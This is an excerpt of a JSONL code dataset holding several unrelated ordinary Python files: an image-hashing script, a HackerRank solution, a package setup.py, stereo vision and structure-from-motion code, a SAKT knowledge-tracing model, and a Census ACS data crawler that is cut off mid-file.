dataset --query brain/87.jpg\n\nfrom __future__ import (absolute_import, division, print_function)\nfrom PIL import Image\nimport os.path\nimport imagehash\nimport argparse\nimport glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport uuid\n\n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", required = True,\n help = \"path to input dataset of images\")\nap.add_argument(\"-q\", \"--query\", required = True,\n help = \"path to the query image\")\nargs = vars(ap.parse_args())\n\ndef _binary_array_to_hex(arr):\n\tbit_string = ''.join(str(b) for b in 1 * arr.flatten())\n\twidth = int(np.ceil(len(bit_string)/4))\n\treturn '{:0>{width}x}'.format(int(bit_string, 2), width=width)\n\ndef hex_to_hash(hexstr):\n\thash_size = int(np.sqrt(len(hexstr)*4))\n\tbinary_array = '{:0>{width}b}'.format(int(hexstr, 16), width = hash_size * hash_size)\n\tbit_rows = [binary_array[i:i+hash_size] for i in range(0, len(binary_array), hash_size)]\n\thash_array = np.array([[bool(int(d)) for d in row] for row in bit_rows])\n\treturn ImageHash(hash_array)\n\ndef old_hex_to_hash(hexstr, hash_size=8):\n\tl = []\n\tcount = hash_size * (hash_size // 4)\n\tif len(hexstr) != count:\n\t\temsg = 'Expected hex string size of {}.'\n\t\traise ValueError(emsg.format(count))\n\tfor i in range(count // 2):\n\t\th = hexstr[i*2:i*2+2]\n\t\tv = int(\"0x\" + h, 16)\n\t\tl.append([v & 2**i > 0 for i in range(8)])\n\treturn ImageHash(np.array(l))\n\n# string1 and string2 should be the same length.\ndef hamming_distance(string1, string2): \n # Start with a distance of zero, and count up\n distance = 0\n # Loop over the indices of the string\n L = len(string1)\n for i in range(L):\n # Add 1 to the distance if these two characters are not equal\n if string1[i] != string2[i]:\n distance += 1\n # Return the final count of differences\n return distance\n\n\n\n","repo_name":"geetagarwal/Image-Recognition","sub_path":"hash1.py","file_name":"hash1.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40930093920","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n# Complete the beautifulTriplets function below.\ndef count(x, arr):\n # count occurence of x in increasing arr\n c = 0\n for i in range(len(arr)):\n if arr[i] == x:\n c += 1\n if arr[i] > x:\n return c\n return c\n\n\ndef findNiceTriplets(d, arr):\n # find nice triplets starting with a[0], with diff d\n # then the triplet is a[0], a[0]+d, a[0]+2d.\n # Once all three values occur then\n # number of such triplet is max(count(a[0]) , count(a[0]+d), count(a[0]+2d))\n # Else the number is 0\n c0 = count(arr[0], arr)\n c1 = count(arr[0] + d, arr)\n c2 = count(arr[0] + 2 * d, arr)\n # debug\n # print('count of ', arr[0], ': ', c0)\n # print('count of ', arr[0] + d, ': ', c1)\n # print('count of ', arr[0] + 2 * d, ' :', c2)\n\n if all([c0 > 0, c1 > 0, c2 > 0]):\n res = max(c0, c1, c2)\n else:\n res = 0\n\n print('number of nice triplets starting with ', arr[0], ': ', res)\n return res\n\n\ndef beautifulTriplets(d, arr):\n # return the number of nice triplets\n res = 0\n\n counted = [] # keep track of items which we have counted to avoid dup counts\n for i in range(len(arr)):\n if arr[i] not in counted:\n res += (findNiceTriplets(d, arr[i:]))\n counted += [arr[i]]\n return res\n\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n nd = input().split()\n\n n = int(nd[0])\n\n d = int(nd[1])\n\n arr = list(map(int, input().rstrip().split()))\n\n result = beautifulTriplets(d, arr)\n\n # fptr.write(str(result) + '\\n')\n #\n # fptr.close()\n","repo_name":"victor-luu191/hacker_rank_train","sub_path":"easy/nice_triplets.py","file_name":"nice_triplets.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"20835005634","text":"from setuptools import _install_setup_requires, setup, find_packages\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='rcpchgrowth',\n version='3.2.0',\n description='SDS and Centile calculations for UK Growth Data',\n long_description=\"https://github.com/rcpch/digital-growth-charts/blob/master/README.md\",\n url='https://github.com/rcpch/digital-growth-charts/blob/master/README.md',\n author='@eatyourpeas, @marcusbaw @statist7 RCPCH',\n\n author_email='eatyourpeasapps@gmail.com',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3 :: Only',\n 'Topic :: Scientific/Engineering :: Medical Science Apps.'\n ],\n keywords='growth charts anthropometry SDS Centile', \n \n packages=find_packages(), \n python_requires='>=3.5, <3.9',\n install_requires=[\n 'python-dateutil',\n \"scipy\",\n 'six',\n 'pytest',\n 'click'\n ], \n extras_require={ \n 'dev': ['check-manifest'],\n 'test': ['coverage'],\n },\n include_package_data=True,\n project_urls={ \n 'Bug Reports': 'https://github.com/rcpch/digital-growth-charts/issues',\n 'API management': 'https://dev.rcpch.ac.uk',\n 'Source': 'https://github.com/rcpch/digital-growth-charts',\n },\n)\n","repo_name":"rcpch/rcpchgrowth-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"42580785487","text":"#!/usr/bin/python3\n\nimport cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef keypoints_and_desscriptors_sift(image_left, image_right):\n \"\"\"Using SIFT(Scale invariant feature transform) and FLANN matcher to \n obtain the keypoints and the descriptors for the stero pair[2]\n Input : left and right images\n Output: keypoints 1, keypoints 2, descriptors1, descriptors2, flann_matches\n \"\"\"\n sift = cv.SIFT_create()\n key1, desc1 = sift.detectAndCompute(image_left, None)\n key2, desc2 = sift.detectAndCompute(image_right, None)\n\n #FLANN Enhanced Nearest Neighbour Method\n # The keypoints of the first image is matched with the second one\n # i.e the left with the right image. \n # The k = 2 keeps the best 2 matches for each point with smallest\n # distance\n FLANN_INDEX_KDTREE = 1\n index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\n search_params = dict(checks=50)\n flann = cv.FlannBasedMatcher(index_params,search_params)\n Flann_matches = flann.knnMatch(desc1,desc2,k=2)\n\n return key1, key2, desc1, desc2, Flann_matches\n\ndef lowes_test(matches, threshold, kp1, kp2):\n \"\"\" lowes test to keep the good points for caluculating distinctive image\n features[7][1]\n Input : flann_matches, threshold, keypoints1, keypoints2\n Output: Gives the good matches, matchesMask\n \"\"\"\n matchesMask = [[0, 0] for i in range(len(matches))]\n filtered_matches = []\n pts1 = []\n pts2 = []\n\n for i, (m, n) in enumerate(matches):\n if m.distance < threshold*n.distance:\n # Keep this keypoint pair\n matchesMask[i] = [1, 0]\n filtered_matches.append(m)\n pts2.append(kp2[m.trainIdx].pt)\n pts1.append(kp1[m.queryIdx].pt)\n\n return filtered_matches, matchesMask, pts1, pts2\n\ndef draw_matches(image_left, image_right, key1, key2, matchesMask, flann_matches):\n \"\"\"Matches between the images[4][5]\n Input : left image, right image, keypoints1, keypoints2, matchesMask, flann matches\n \"\"\"\n\n params = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=matchesMask[200:300],\n flags=cv.DrawMatchesFlags_DEFAULT)\n\n image = cv.drawMatchesKnn(\n image_left, \n key1,\n image_right,\n key2,\n flann_matches[200:300],\n None,\n **params)\n cv.imshow(\"Matched points\", image)\n cv.waitKey(0)\n\ndef fundamental_matrix(kp1, kp2):\n \"\"\"Using the good matchs to get a good estimate of the fundamental matrix[6]\n Input : keypoints1, keypoints2 (of good matches)\n Output: f matrix, inliers, keypoints1, keypoints2\n \"\"\"\n pts1 = np.int32(kp1)\n pts2 = np.int32(kp2)\n fundamental_matrix, inliers = cv.findFundamentalMat(pts1, pts2, cv.FM_RANSAC)\n\n # We select only inlier points\n pts1 = pts1[inliers.ravel() == 1]\n pts2 = pts2[inliers.ravel() == 1]\n\n return fundamental_matrix, inliers, pts1, pts2\n\n\n# Input images\n\nimage_left = cv.imread(\"lefrncam_57.png\", cv.IMREAD_GRAYSCALE)\nimage_right = cv.imread(\"rightrncam_57.png\", cv.IMREAD_GRAYSCALE)\n\n# Keypoints ans descriptors\n\nkeyp1, keyp2, desc1,desc2, flann_matches = keypoints_and_desscriptors_sift(image_left, image_right)\ngood_matches, mask, good_point1, good_point2 = lowes_test(flann_matches, 1, keyp1, keyp2)\ndraw_matches(image_left, image_right, keyp1, keyp2, mask, flann_matches)\n\nf ,inliners, pts1, pts2 = fundamental_matrix(good_point1, good_point2)\n\n# Rectification\n\nh1, w1 = image_left.shape\nh2, w2 = image_right.shape\n_, H1, H2 = cv.stereoRectifyUncalibrated(\n np.float32(pts1), np.float32(pts2), f, imgSize=(w1, h1)\n)\n\nimgl_rectified = cv.warpPerspective(image_left, H1, (w1, h1))\nimgr_rectified = cv.warpPerspective(image_right, H2, (w2, h2))\ncv.imwrite(\"rectified_1.png\", imgl_rectified)\ncv.imwrite(\"rectified_2.png\", imgr_rectified)\n\nmin_disp = -1\nmax_disp = 31\nblock_size = 10\nnum_disp = max_disp - min_disp # Needs to be divisible by 16\nstereo = cv.StereoSGBM_create(minDisparity= min_disp,\n numDisparities = num_disp,\n blockSize = block_size,\n uniquenessRatio = 5,\n speckleWindowSize = 3,\n speckleRange = 2,\n disp12MaxDiff = 2) \n\ndisparity_SGBM = stereo.compute(imgl_rectified, imgr_rectified)\nplt.imshow(disparity_SGBM, \"gray\")\nplt.colorbar()\nplt.show()\n","repo_name":"JayamuruganRavikumar/planetarySurfaces_3DRecon","sub_path":"perserverance/scripts/uncalibSift.py","file_name":"uncalibSift.py","file_ext":"py","file_size_in_byte":4370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"10636282203","text":"import numpy as np\n\n\ndef calc_TFL_dist(prev_container, curr_container, focal, pp):\n norm_prev_pts, norm_curr_pts, R, foe, tZ = prepare_3D_data(prev_container, curr_container, focal, pp)\n if abs(tZ) < 10e-6:\n print('tz = ', tZ)\n elif norm_prev_pts.size == 0:\n print('no prev points')\n elif norm_prev_pts.size == 0:\n print('no curr points')\n else:\n curr_container.corresponding_ind, curr_container.traffic_lights_3d_location, curr_container.valid = calc_3D_data(\n norm_prev_pts, norm_curr_pts, R, foe, tZ)\n return curr_container\n\n\ndef prepare_3D_data(prev_container, curr_container, focal, pp):\n norm_prev_pts = normalize(prev_container.traffic_light, focal, pp)\n norm_curr_pts = normalize(curr_container.traffic_light, focal, pp)\n R, foe, tZ = decompose(np.array(curr_container.EM))\n return norm_prev_pts, norm_curr_pts, R, foe, tZ\n\n\ndef calc_3D_data(norm_prev_pts, norm_curr_pts, R, foe, tZ):\n norm_rot_pts = rotate(norm_prev_pts, R)\n pts_3D = []\n corresponding_ind = []\n validVec = []\n for p_curr in norm_curr_pts:\n corresponding_p_ind, corresponding_p_rot = find_corresponding_points(p_curr, norm_rot_pts, foe)\n Z = calc_dist(p_curr, corresponding_p_rot, foe, tZ)\n valid = (Z > 0)\n if not valid:\n Z = 0\n validVec.append(valid)\n P = Z * np.array([p_curr[0], p_curr[1], 1])\n pts_3D.append((P[0], P[1], P[2]))\n corresponding_ind.append(corresponding_p_ind)\n return corresponding_ind, np.array(pts_3D), validVec\n\n\ndef normalize(pts, focal, pp):\n return np.array([np.array([p[0] - pp[0], p[1] - pp[1], focal]) / focal for p in pts])\n\n\ndef unnormalize(pts, focal, pp):\n return np.array([[(p[0] * focal) + pp[0], (p[1] * focal) + pp[1], focal] for p in pts])\n\n\ndef decompose(EM):\n T = EM[:3, 3]\n return EM[:3, :3], [T[0] / T[2], T[1] / T[2]], T[2]\n\n\ndef rotate(pts, R):\n return np.array([(R @ p) for p in pts])\n\n\ndef find_corresponding_points(p, norm_pts_rot, foe):\n m = ((foe[1] - p[1]) / (foe[0] - p[0]))\n n = ((p[1] * foe[0]) - (foe[1] * p[0])) / (foe[0] - p[0])\n d = [abs((m * point[0] + n - point[1]) / ((m ** 2) + 1) ** 0.5) for point in norm_pts_rot]\n return np.argmin(d), norm_pts_rot[np.argmin(d)]\n\n\ndef calc_dist(p_curr, p_rot, foe, tZ):\n dist_x = (tZ * (foe[0] - p_rot[0])) / (p_curr[0] - p_rot[0])\n dist_y = (tZ * (foe[1] - p_rot[1])) / (p_curr[1] - p_rot[1])\n return np.average([dist_x, dist_y], weights=[abs(p_rot[0] - p_curr[0]), abs(p_rot[1] - p_curr[1])])\n","repo_name":"pninagugig/Mobileye_project","sub_path":"SFM.py","file_name":"SFM.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74199841700","text":"\"\"\"\nBased on Annotated Transformer from Harvard NLP:\nhttps://nlp.seas.harvard.edu/2018/04/03/attention.html#applications-of-attention-in-our-model\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport math\n# from constant import PAD_INDEX\n# from config import ARGS\nfrom Model.util_network import get_pad_mask, get_subsequent_mask, clones\n\n\ndef attention(query, key, value, mask=None, dropout=None):\n \"Compute 'Scaled Dot Product Attention'\"\n d_k = query.size(-1)\n scores = torch.matmul(query, key.transpose(-2, -1)) \\\n / math.sqrt(d_k)\n if mask is not None:\n scores = scores.masked_fill(mask == 0, -1e9)\n p_attn = F.softmax(scores, dim=-1)\n if dropout is not None:\n p_attn = dropout(p_attn)\n return torch.matmul(p_attn, value), p_attn\n\n\nclass MultiHeadedAttention(nn.Module):\n def __init__(self, h, d_model, dropout=0.1):\n \"Take in model size and number of heads.\"\n super(MultiHeadedAttention, self).__init__()\n assert d_model % h == 0\n # We assume d_v always equals d_k\n self.d_k = d_model // h\n self.h = h\n self.linears = clones(nn.Linear(d_model, d_model, bias=False), 4) # Q, K, V, last\n self.attn = None\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, query, key, value, mask=None):\n \"Implements Figure 2\"\n if mask is not None:\n # Same mask applied to all h heads.\n mask = mask.unsqueeze(1)\n nbatches = query.size(0)\n\n # 1) Do all the linear projections in batch from d_model => h x d_k\n query, key, value = \\\n [l(x).view(nbatches, -1, self.h, self.d_k).transpose(1, 2)\n for l, x in zip(self.linears, (query, key, value))]\n\n # 2) Apply attention on all the projected vectors in batch.\n x, self.attn = attention(query, key, value, mask=mask,\n dropout=self.dropout)\n\n # 3) \"Concat\" using a view and apply a final linear.\n x = x.transpose(1, 2).contiguous() \\\n .view(nbatches, -1, self.h * self.d_k)\n return self.linears[-1](x)\n\n\nclass PositionwiseFeedForward(nn.Module):\n \"Implements FFN equation.\"\n def __init__(self, d_model, d_ff, dropout=0.1):\n super(PositionwiseFeedForward, self).__init__()\n self.w_1 = nn.Linear(d_model, d_ff)\n self.w_2 = nn.Linear(d_ff, d_model)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n return self.w_2(self.dropout(F.relu(self.w_1(x))))\n\n\nclass SAKTLayer(nn.Module):\n \"\"\"\n Single Encoder block of SAKT\n \"\"\"\n def __init__(self, hidden_dim, num_head, dropout):\n super().__init__()\n self._self_attn = MultiHeadedAttention(num_head, hidden_dim, dropout)\n self._ffn = PositionwiseFeedForward(hidden_dim, hidden_dim, dropout)\n self._layernorms = clones(nn.LayerNorm(hidden_dim, eps=1e-6), 2)\n\n def forward(self, query, key, mask=None):\n \"\"\"\n query: question embeddings\n key: interaction embeddings\n \"\"\"\n # self-attention block\n output = self._self_attn(query=query, key=key, value=key, mask=mask)\n output = self._layernorms[0](key + output)\n # feed-forward block\n output = self._layernorms[1](output + self._ffn(output))\n return output\n\n\nclass SAKT(nn.Module):\n \"\"\"\n Transformer-based\n all hidden dimensions (d_k, d_v, ...) are the same as hidden_dim\n \"\"\"\n def __init__(self, hidden_dim, question_num, num_layers, num_head, dropout, seq_size=100):\n super().__init__()\n self._hidden_dim = hidden_dim\n self._question_num = question_num\n self._seq_size = seq_size\n\n # Blocks\n self._layers = clones(SAKTLayer(hidden_dim, num_head, dropout), num_layers)\n\n # prediction layer\n self._prediction = nn.Linear(hidden_dim, 1)\n\n # Embedding layers\n self._positional_embedding = nn.Embedding(seq_size+1, hidden_dim)\n self._interaction_embedding = nn.Embedding(2*question_num+1, hidden_dim)\n self._question_embedding = nn.Embedding(question_num+1, hidden_dim)\n \n self.classifier = self._prediction\n\n def _transform_interaction_to_question_id(self, interaction):\n \"\"\"\n get question_id from interaction index\n if interaction index is a number in [0, question_num], then leave it as-is\n if interaction index is bigger than question_num (in [question_num + 1, 2 * question_num]\n then subtract question_num\n interaction: integer tensor of shape (batch_size, sequence_size)\n \"\"\"\n return interaction - self._question_num * (interaction > self._question_num).long()\n\n def _get_position_index(self, question_id):\n \"\"\"\n [0, 0, 0, 4, 12] -> [0, 0, 0, 1, 2]\n \"\"\"\n batch_size = question_id.shape[0]\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n position_indices = []\n for i in range(batch_size):\n non_padding_num = (question_id[i] != 0).sum(-1).item()\n position_index = [0] * (question_id.shape[1] - non_padding_num) + list(range(1, non_padding_num+1))\n position_indices.append(position_index)\n return torch.tensor(position_indices, dtype=int).to(device)\n\n def forward(self, interaction_id, target_id):\n \"\"\"\n Query: Question (skill, exercise, ...) embedding\n Key, Value: Interaction embedding + positional embedding\n \"\"\"\n question_id = self._transform_interaction_to_question_id(interaction_id)\n question_id = torch.cat([question_id[:, 1:], target_id], dim=-1)\n\n interaction_vector = self._interaction_embedding(interaction_id)\n question_vector = self._question_embedding(question_id)\n position_index = self._get_position_index(question_id)\n position_vector = self._positional_embedding(position_index)\n\n mask = get_pad_mask(question_id, 0) & get_subsequent_mask(question_id)\n x = interaction_vector + position_vector\n\n for layer in self._layers:\n x = layer(query=question_vector, key=x, mask=mask)\n\n output = self._prediction(x)\n output = output[:, -1, :]\n return output,x\n\n\n\n# import numpy as np\n\n# import torch\n# import torch.nn as nn\n\n\n# def future_mask(seq_length):\n# future_mask = np.triu(np.ones((1, seq_length)), k=1).astype('bool')\n# return torch.from_numpy(future_mask)\n\n\n# class FFN(nn.Module):\n# def __init__(self, state_size=200):\n# super(FFN, self).__init__()\n# self.state_size = state_size\n\n# self.lr1 = nn.Linear(state_size, state_size)\n# self.relu = nn.ReLU()\n# self.lr2 = nn.Linear(state_size, state_size)\n# self.dropout = nn.Dropout(0.2)\n \n# def forward(self, x):\n# x = self.lr1(x)\n# x = self.relu(x)\n# x = self.lr2(x)\n# return self.dropout(x)\n\n\n# class SAKT(nn.Module):\n# # def __init__(self, n_skill, max_seq=100, embed_dim=200):\n# def __init__(self, hidden_dim, question_num, num_layers, num_head, dropout, seq_size=100):\n# super(SAKT, self).__init__()\n# self.question_num = question_num\n# self.hidden_dim = hidden_dim\n\n# self.embedding = nn.Embedding(2*question_num+1, self.hidden_dim)\n# self.pos_embedding = nn.Embedding(seq_size+1, self.hidden_dim)\n# self.e_embedding = nn.Embedding(question_num+1, self.hidden_dim)\n\n# self.multi_att = nn.MultiheadAttention(embed_dim=hidden_dim, num_heads=num_head, dropout=dropout)\n\n# self.dropout = dropout\n# self.layer_normal = nn.LayerNorm(hidden_dim) \n\n# self.ffn = FFN(hidden_dim)\n# self.pred = nn.Linear(hidden_dim, 1)\n# self.sigmoid = nn.Sigmoid()\n\n# self._reset_parameters()\n \n# def _reset_parameters(self):\n# r\"\"\"Initiate parameters in the model.\"\"\"\n# for p in self.parameters():\n# if p.dim() > 1:\n# nn.init.xavier_uniform_(p)\n\n# def forward(self, x, question_ids):\n# device = x.device \n# # src_pad_mask = (x == 0)\n# # tgt_pad_mask = (question_ids == 0)\n# # mask = src_pad_mask & tgt_pad_mask\n\n# x = self.embedding(x)\n# pos_id = torch.arange(x.size(1)).unsqueeze(0).to(device)\n\n# pos_x = self.pos_embedding(pos_id)\n# x = x + pos_x\n\n# e = self.e_embedding(question_ids)\n\n# x = x.permute(1, 0, 2) # x: [bs, s_len, embed] => [s_len, bs, embed]\n# e = e.permute(1, 0, 2)\n# att_mask = future_mask(x.size(0)).to(device)\n# att_output, att_weight = self.multi_att(e, x, x, attn_mask=att_mask)\n# att_output = self.layer_normal(att_output + e)\n# att_output = att_output.permute(1, 0, 2) # att_output: [s_len, bs, embed] => [bs, s_len, embed]\n# # print(att_output.shape, att_weight.shape)\n# x = self.ffn(att_output)\n# # x = self.dropout(x)\n# x = self.layer_normal(x + att_output)\n# x = self.pred(x)\n# x = x[:, -1, :]\n# return x","repo_name":"zhan-zhai/DKT_pytorch","sub_path":"Model/SAKT.py","file_name":"SAKT.py","file_ext":"py","file_size_in_byte":9130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33312285579","text":"# Fetch Census data\n#\n\nimport os\nimport sys\nimport logging\nimport re\nimport pdb\nimport contextlib\n\nimport requests # the fabulous 3rd party package from Kenneth Reitz;\n # see http://docs.python-requests.org/en/master/\nimport lxml, lxml.etree\n\n\nCENSUS_URL = 'http://www2.census.gov'\nCENSUS_ACS_URL = \"http://www2.census.gov/programs-surveys/acs/summary_file/\"\nCENSUS_SHELLS_URL = \"http://www2.census.gov/programs-surveys/acs/tech_docs/table_shells\"\nOUTPUT_DIR = \"acs_sf_downloads\"\nHTML_PARSER = lxml.etree.HTMLParser\n\n# areas of potential interest:\n# ../tech_docs/table_shells//* # Excel files named by table\n# http://www2.census.gov/programs-surveys/acs/tech_docs/subject_definitions/ \n# set of all subject definition files, PDFs describing (high-level) the\n# questions asked\n# \n\n# Directory structure under summary_file\n# (http://www2.census.gov/programs-surveys/acs/summary_file/)\n# \n# 2005\n# data\n# 0UnitedStates\n# Alabama\n# all_al.zip\n# algeo*.zip\n# 2006\n# data\n# Alabama\n# al_all_2006.zip\n# g2006al.txt\n# UnitedStates\n# 2007\n# data\n# 1_year\n# Alabama\n# all_al.zip\n# g20071al.txt\n# UnitedStates\n# 3_year\n# Alabama\n# 2008/\n# data\n# 1_year\n# Alabama\n# all_al.zip\n# g20081al.txt\n# 2009\n# data\n# 1_year_by_state\n# Alabama.zip\n# *_Summary_FileTemplates.zip\n# 2010\n# data\n# 1_year_by_state\n# Alabama_All_Geographies.zip\n# *_Summary_FileTemplates.zip\n# 2011\n# data\n# 1_year_by_state\n# Alabama_All_Geographies.zip\n# *_Summary_FileTemplates.zip\n# \n# AVOID getting 'seq_by_state/' directories\n# \n# Every page is a bunch 'o divs with links as a header, a table with\n# the directory tree (no HTML id, unfortunately) and a bunch o' divs\n# with links as a footer. To download all the docs in the tree, just\n# follow all the links in the table and download everything with the\n# \"right\" extensions.\n\n\n\nSESSION = requests.Session()\nALL_STATES = [\n \"Alabama\",\n \"Alaska\",\n \"Arizona\",\n \"Arkansas\",\n \"California\",\n \"Colorado\",\n \"Connecticut\",\n \"Delaware\",\n \"DistrictofColumbia\",\n \"Florida\",\n \"Georgia\",\n \"Hawaii\",\n \"Idaho\",\n \"Illinois\",\n \"Indiana\",\n \"Iowa\",\n \"Kansas\",\n \"Kentucky\",\n \"Louisiana\",\n \"Maine\",\n \"Maryland\",\n \"Massachusetts\",\n \"Michigan\",\n \"Minnesota\",\n \"Mississippi\",\n \"Missouri\",\n \"Montana\",\n \"Nebraska\",\n \"Nevada\",\n \"NewHampshire\",\n \"NewJersey\",\n \"NewMexico\",\n \"NewYork\",\n \"NorthCarolina\",\n \"NorthDakota\",\n \"Ohio\",\n \"Oklahoma\",\n \"Oregon\",\n \"Pennsylvania\",\n \"PuertoRico\",\n \"RhodeIsland\",\n \"SouthCarolina\",\n \"SouthDakota\",\n \"Tennessee\",\n \"Texas\",\n \"Utah\",\n \"Vermont\",\n \"Virginia\",\n \"Washington\",\n \"WestVirginia\",\n \"Wisconsin\",\n \"Wyoming\",\n ]\n\n\nclass ACSFetch(object):\n def __init__(self, states='*', tracts_and_block_groups=False, doc_extensions=None):\n if states == '*':\n states = ALL_STATES\n self.states = states\n self.tracts_and_block_groups = tracts_and_block_groups\n if doc_extensions is None:\n doc_extensions = ['.pdf', '.txt', '.xls', '.xlsx', '.csv']\n self.doc_extensions = doc_extensions\n\n\n def join_url(self, url_components):\n return '/'.join([c.rstrip('/') for c in url_components])\n\n def save_file(self, url, outfile, overwrite=False):\n print(' save_file('+url+', '+outfile+')')\n if os.path.exists(outfile):\n if overwrite:\n os.unlink(outfile)\n else:\n return\n with contextlib.closing(SESSION.get(url, stream=True)) as resp:\n tmpfile = outfile+'.part'\n with open(tmpfile, 'wb') as fp:\n for data in resp.iter_content(1024*1024):\n fp.write(data)\n os.rename(tmpfile, outfile)\n \n \n def fetch_index_links(self, url, in_tbl_only=True):\n index_resp = SESSION.get(url)\n parser = lxml.etree.HTMLParser()\n parser.feed(index_resp.content)\n tree = parser.close()\n search_tree = tree\n if in_tbl_only:\n search_tree = tree.xpath('//table')\n assert(len(search_tree) == 1)\n search_tree = search_tree[0]\n retval = {a.attrib['href']:a.text for a in search_tree.iterdescendants('a') if 'href' in a.attrib}\n for k in retval:\n if retval[k] is not None:\n retval[k] = re.sub('[ \\t\\n\\r]+', ' ', retval[k]).strip()\n else:\n retval[k] = ''\n \n return retval\n\n def crawl_shells(self, url=CENSUS_SHELLS_URL, output_dir=OUTPUT_DIR):\n if not os.path.exists(output_dir):\n os.mkdir(output_dir, mode=0o755)\n shells_dir = os.path.join(output_dir, 'table_shells')\n if not os.path.exists(shells_dir):\n os.mkdir(shells_dir, mode=0o755)\n \n # get all the ACS links from the main census page\n all_links = self.fetch_index_links(url)\n pat = re.compile('^[0-9]{4}/$')\n links = [l for l in all_links if pat.search(all_links[l])]\n print(links)\n for l in sorted(links):\n dirname = os.path.join(shells_dir, all_links[l]) \n if not os.path.exists(dirname):\n os.mkdir(dirname, mode=0o755)\n self.recursive_fetch_all(self.join_url([url,all_links[l]]), dirname, ['.xls', '.xlsx', '.csv', '.txt'])\n \n \n def crawl_acs(self, census_url=CENSUS_ACS_URL, output_dir=OUTPUT_DIR):\n \"\"\"Start at the programs-surveys/acs/summary_file directory and\n handle each included year\n \"\"\"\n if not os.path.exists(output_dir):\n os.mkdir(output_dir, mode=0o755)\n # get all the ACS links from the main census page\n all_links = self.fetch_index_links(census_url)\n pat = re.compile('^[0-9]{4}/$')\n links = [l for l in all_links if pat.search(all_links[l])]\n print(links)\n for l in sorted(links):\n dirname = os.path.join(output_dir, all_links[l]) \n if not os.path.exists(dirname):\n os.mkdir(dirname, mode=0o755)\n \n self.crawl_year_dir(self.join_url([census_url, l]), dirname)\n \n \n def crawl_year_dir(self, url, dirname):\n \"\"\"Handle the top level of a ACS tree, for example\n http://www2.census.gov/programs-surveys/acs/summary_file/2006/ directories\n \n Grab the all the (pdf, txt, csv or .xls) documentation\n Grab \"the right\" data\n \"\"\"\n print('crawl_year_dir('+url+', '+dirname+')')\n data_pat = re.compile('data/$')\n doc_pat = re.compile('documentation/$')\n all_links = self.fetch_index_links(url)\n doc_links = [l for l in all_links if doc_pat.search(all_links[l])]\n assert len(doc_links) == 1\n data_links = [l for l in all_links if data_pat.search(all_links[l])]\n assert len(data_links) == 1\n \n # grab all the docs\n doc_dirname = os.path.join(dirname, 'documentation')\n if not os.path.exists(doc_dirname):\n os.mkdir(doc_dirname, mode=0o755)\n self.recursive_fetch_all(self.join_url([url,doc_links[0]]), doc_dirname, self.doc_extensions)\n\n # fetch all the states\n data_dirname = os.path.join(dirname, 'data')\n if not os.path.exists(data_dirname):\n os.mkdir(data_dirname, mode=0o755)\n self.recursive_fetch_states(self.join_url([url,data_links[0]]), data_dirname)\n\n \n\n def recursive_fetch_all(self, url, dirname, extensions):\n print(' recursive_fetch_all('+url+', '+dirname+', '+repr(extensions)+')')\n all_links = self.fetch_index_links(url)\n dir_links = [l for l in all_links if all_links[l].endswith('/')]\n doc_links = []\n for ext in extensions:\n doc_links += [l for l in all_links if all_links[l].endswith(ext)]\n for d in sorted(dir_links):\n subdir = os.path.join(dirname, all_links[d])\n if not os.path.exists(subdir):\n os.mkdir(subdir, mode=0o755)\n self.recursive_fetch_all(self.join_url([url,d]), subdir, extensions)\n for f in sorted(doc_links):\n filename = os.path.join(dirname, all_links[f])\n self.save_file(self.join_url([url,f]), filename)\n\n\n def recursive_fetch_states(self, url, dirname):\n print(' recursive_fetch_states('+url+', '+dirname+')')\n all_links = self.fetch_index_links(url)\n dir_links = [l for l in all_links if all_links[l].endswith('/')]\n \n # any state.zip files? If so, grab them.\n poststate_pat = re.compile('(_All_Geographies(_Not_Tracts_Block_Groups)?)?\\\\.zip')\n if self.tracts_and_block_groups:\n poststate_pat = re.compile('((_All_Geographies(_Not_Tracts_Block_Groups)?)|(_Tracts_Block_Groups_Only))?\\\\.zip')\n \n state_zips = [s for s in all_links if poststate_pat.sub('', all_links[s]) in self.states]\n for s in sorted(state_zips):\n filename = os.path.join(dirname, all_links[s])\n self.save_file(self.join_url([url,s]), filename)\n \n # Any directories? If so, fetch them.\n state_links = [s for s in all_links if all_links[s].strip('/') in self.states]\n for s in sorted(state_links):\n subdir = os.path.join(dirname, all_links[s])\n if not os.path.exists(subdir):\n os.mkdir(subdir, mode=0o755)\n self.fetch_state(self.join_url([url,s]), subdir, all_links[s].strip('/'))\n\n # any file templates? If so, save them\n for a in sorted(all_links):\n if re.match('.*File(_)?Templates\\\\.zip', all_links[a]):\n filename = os.path.join(dirname, all_links[a])\n self.save_file(self.join_url([url,a]), filename)\n\n\n # recurse into any directory that looks like N_year or 